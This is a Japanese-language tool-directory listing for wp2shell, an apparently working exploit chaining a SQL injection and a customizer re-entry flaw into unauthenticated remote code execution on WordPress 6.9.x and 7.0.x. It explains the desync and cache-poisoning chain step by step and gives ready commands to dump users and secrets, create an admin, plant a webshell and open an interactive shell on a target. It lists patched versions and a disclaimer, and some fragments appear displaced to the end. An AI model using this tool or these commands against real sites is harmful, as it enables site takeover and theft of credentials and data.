Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 のPoC、別名 WP2Shell | Kitploit
ツール/GitHubGitHub/crypto-cat/wp2shell
脆弱性スキャナーコード分析エクスプロイトウェブセキュリティ学習と教育
GitHubcrypto-cat/wp2shell

wp2shell

CVE-2026-63030 + CVE-2026-60137 のPoC、別名 WP2Shell

リポジトリを見る
31ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

wp2shell

WordPress 6.9.0~6.9.4 および 7.0.0~7.0.1 に対する認証前のリモートコード実行。

CVE-2026-63030(バッチルート混乱による SQLi)と CVE-2026-60137(カスタマイザーの changeset 再エントリ)を連鎖させ、認証なしでの管理者作成と OS コマンド実行を実現します。パスワードクラックは不要です。

wp2shell demo

hashkitten による発見に感謝します。完全な SLCyber の技術分析はこちらをお読みください。

脆弱性

WordPress の REST API バッチプロセッサ(serve_batch_request_v1)には、オフバイワンのインデックスバグがあります。wp_parse_url() がサブリクエストのパスで失敗すると、結果の WP_Error は $validation[] にはプッシュされますが、$matches[] にはプッシュされません。これにより 2 つの配列の同期が崩れ、それ以降のすべてのリクエストが誤ったハンドラでディスパッチされます。

バッチの中に慎重に構成したバッチをネストすることで、攻撃者は以下を実行できます。

  1. あるエンドポイントのスキーマで検証されたリクエストを、まったく別のエンドポイントのコールバックにルーティングする
  2. author__not_in を通じてサニタイズされていない SQL を注入する(文字列→配列キャストが absint() をスキップする)
  3. UNION SELECT を使用して WordPress のオブジェクトキャッシュを偽の投稿オブジェクトで汚染する
  4. changeset の自動公開をトリガーして権限を昇格させ、その後管理者コンテキストで REST API に再エントリする

セットアップが完了すると(テーブルプレフィックスと管理者 ID の特定)、昇格ペイロードは単一の HTTP リクエストで発火します。キャッシュポイズニング、権限昇格、ユーザー作成はすべてサーバーサイドで 1 ラウンドトリップで発生します。

攻撃チェーンの仕組み

root@kitploit:~
HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

キャッシュポイズニング(UNION による 7 つの偽投稿):

  • コンテンツに [embed] ショートコードを含むトリガー投稿
  • changeset 投稿(customize_changeset、ステータス future、日付は過去)
  • アウターループのパートナー(parent=changeset、Loop 1 を作成)
  • oEmbed ターゲット(動的な再帰防止 ID、parent=changeset、空のコンテンツ)
  • ナビメニュー項目の投稿(is_nav_menu_item チェックのために post_type=nav_menu_item として汚染)
  • 再エントリ投稿(post_type=request、post_status=parse、parent=inner)
  • インナーループのパートナー(parent=re-entry、Loop 2 を作成)

実行フロー:

  1. UNION が 7 つの偽投稿すべてでオブジェクトキャッシュを汚染する
  2. 投稿ハンドラがトリガー投稿のコンテンツをレンダリング → [embed] ショートコードが発火
  3. oEmbed キャッシュルックアップが空のコンテンツを持つバッキング投稿を見つける → wp_update_post にフォールスルー
  4. wp_update_post がキャッシュされた changeset(parent=outer)を読み取る → 階層チェックが Loop 1 を検出
  5. 修正処理が changeset を future ステータスで DB に書き込む → 自動的に publish に変換
  6. _wp_customize_publish_changeset が発火 → wp_set_current_user(admin_id) → 管理者コンテキストが有効に
  7. changeset が nav_menu_item[real_id] を処理 — キャッシュは type=nav_menu_item を返す → UPDATE パス
  8. object_id が post_parent=re-entry を持つキャッシュ済み投稿に解決 → 実投稿に対して wp_update_post
  9. 階層チェック(非ゼロの $post_id)が Loop 2(re-entry ↔ inner)を検出

再帰防止用の MySQL セッション変数(@_wp2s)により、チェーンは正確に 1 回だけ発火し、ループしません。

機能

  • 3 つの抽出モードと自動検出: UNION(1 リクエスト/値)、EXTRACTVALUE によるエラーベース(約 30 文字/リクエスト)、ブールベースのブラインド二分探索(約 7 リクエスト/文字)
  • 完全な事前認証 RCE — 認証情報不要、クラック不要、昇格は単一ラウンドトリップで発火
  • 自動検出 — INFORMATION_SCHEMA によるテーブルプレフィックス、機能メタによる管理者ユーザー ID
  • ポストエクスプロイテーション — トークン認証付きプラグインウェブシェル、CWD 追跡インタラクティブシェル、ファイル読み書き
  • クリーンアップモード — --cleanup は終了時に作成したユーザーを削除し、ウェブシェルを除去
  • 依存関係ゼロ — 標準ライブラリのみ、単一ファイル、Python 3.8+ で動作

インストール

root@kitploit:~
git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

pip install も virtualenv も不要です。単一ファイルです。

使い方

ターゲットが脆弱かどうかを確認する

root@kitploit:~
# Passive boolean oracle test
python3 wp2shell.py check http://target.com

# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

データを抽出する

root@kitploit:~
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users

# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users

完全なエクスプロイト

root@kitploit:~
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i

# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i

# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i

認証済みシェル(既存の認証情報を使用)

root@kitploit:~
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i

完全な RCE のための要件

check と read コマンドは、影響を受けるすべてのターゲットで動作します。exploit チェーンには追加で 3 つの要件があります。

ターゲットが Redis または Memcached をオブジェクトキャッシュとして使用している場合、split_the_query は per_page に関係なく強制され、UNION 行は ID のみのフェッチ中に破棄されます。read コマンドは引き続き機能します(ブラインド抽出は UNION がキャッシュに生き残る必要がない)が、exploit は失敗します。

影響を受けるバージョン

ブランチ脆弱なバージョン修正版
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2

このパッチは、エラーケースに $matches[] = $single_request; を追加し(オフバイワンを修正)、serve_request() に再エントリガードを追加します。

アーキテクチャ

root@kitploit:~
wp2shell.py (single file, ~1650 lines)
├── Client          HTTP transport with batch URL negotiation
├── Desync          Nested batch payload construction
├── BlindExtractor  Boolean binary search (universal)
├── UnionExtractor  In-band via forged post_title (fastest)
├── ErrorExtractor  EXTRACTVALUE-based (intermediate)
├── PoisonGraph     Hierarchy loop structure for cache poisoning
├── Exploiter       Chain orchestration (seed → extract → escalate)
└── AdminSession    Authenticated session, webshell, cleanup

技術的詳細

ソースルートとして /wp/v2/widgets を使う理由は?

Widgets コントローラは、エンドポイントスキーマに per_page、orderby、author_exclude を登録しません。これらのパラメータは検証をそのまま通過します(不明なパラメータはスキーマバリデータによって無視されます)。デシンクがこのリクエストを Posts コントローラ経由でディスパッチすると、これらの生の値が直接 WP_Query に流れ込みます。

なぜ per_page=500 なのか?

class-wp-query.php:3375 — split_the_query は !empty($limits) && posts_per_page < 500 を必要とします。per_page=500 の場合、500 < 500 は false になるため、split_the_query は無効になります。UNION を含む完全なクエリが単一ステートメントとして実行され、注入されたすべての行が結果セットとキャッシュに生き残ります。

なぜ nav_menu_item[real_id](正の ID)なのか?

正の投稿 ID を使用すると、nav-menu.php:614 の UPDATE パスに入り、非ゼロの $post_id で wp_update_post を呼び出します。これは、post.php:8070 の wp_check_post_hierarchy_for_loops が $post_id = 0(新規投稿)の場合に早期リターンするため重要です。キャッシュはその ID に対して post_type=nav_menu_item で汚染されるため、is_nav_menu_item() は nav-menu.php:426 の型チェックを通過します。その後、UPDATE パスが階層チェックをトリガーし、Loop 2 を検出します。

なぜ 2 つの階層ループが必要なのか?

Loop 1(changeset ↔ outer)は changeset の公開をトリガーし、管理者コンテキストを設定します。Loop 2(re-entry ↔ inner)は、管理者ウィンドウ内(changeset 公開ループ内のナビメニュー項目設定の save() 呼び出しの中)で発火し、parse_request → REST 再エントリをトリガーします。2 つのループは独立しています。Loop 2 の修正処理は、3589 行目のリセットより前の 3581 行目で、管理者ウィンドウ中に再エントリ投稿を DB に書き込む必要があるためです。

免責事項

このツールは、認可されたセキュリティテストおよび研究目的で公開されています。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。

クレジット

研究および開発: CryptoCat

ツールをダウンロード
  • 修正処理が wp_update_post(re-entry) を呼び出す → type=request、status=parse を DB に書き込む
  • wp_transition_post_status が do_action("parse_request") を発火 → rest_api_loaded() → serve_request()
  • REST API が再エントリし、バッチ全体を管理者権限で再処理する
  • 末尾の POST /wp/v2/users が成功 → 管理者が作成される → die()
  • 要件理由デフォルトの WP?
    公開済みの投稿が少なくとも 1 つoEmbed が埋め込み処理をトリガーするにはローカル URL が必要あり(Hello World)
    永続的なオブジェクトキャッシュがないUNION 行が生き残るには split-the-query が無効である必要があるあり(ファイルキャッシュがデフォルト)
    REST API にアクセス可能parse_request による再エントリには REST サーバーが必要あり
    ファイルシステムへの直接書き込みプラグインのアップロードには FS_METHOD=direct または PHP が wp-content を所有している必要があるあり(ほとんどのホスト)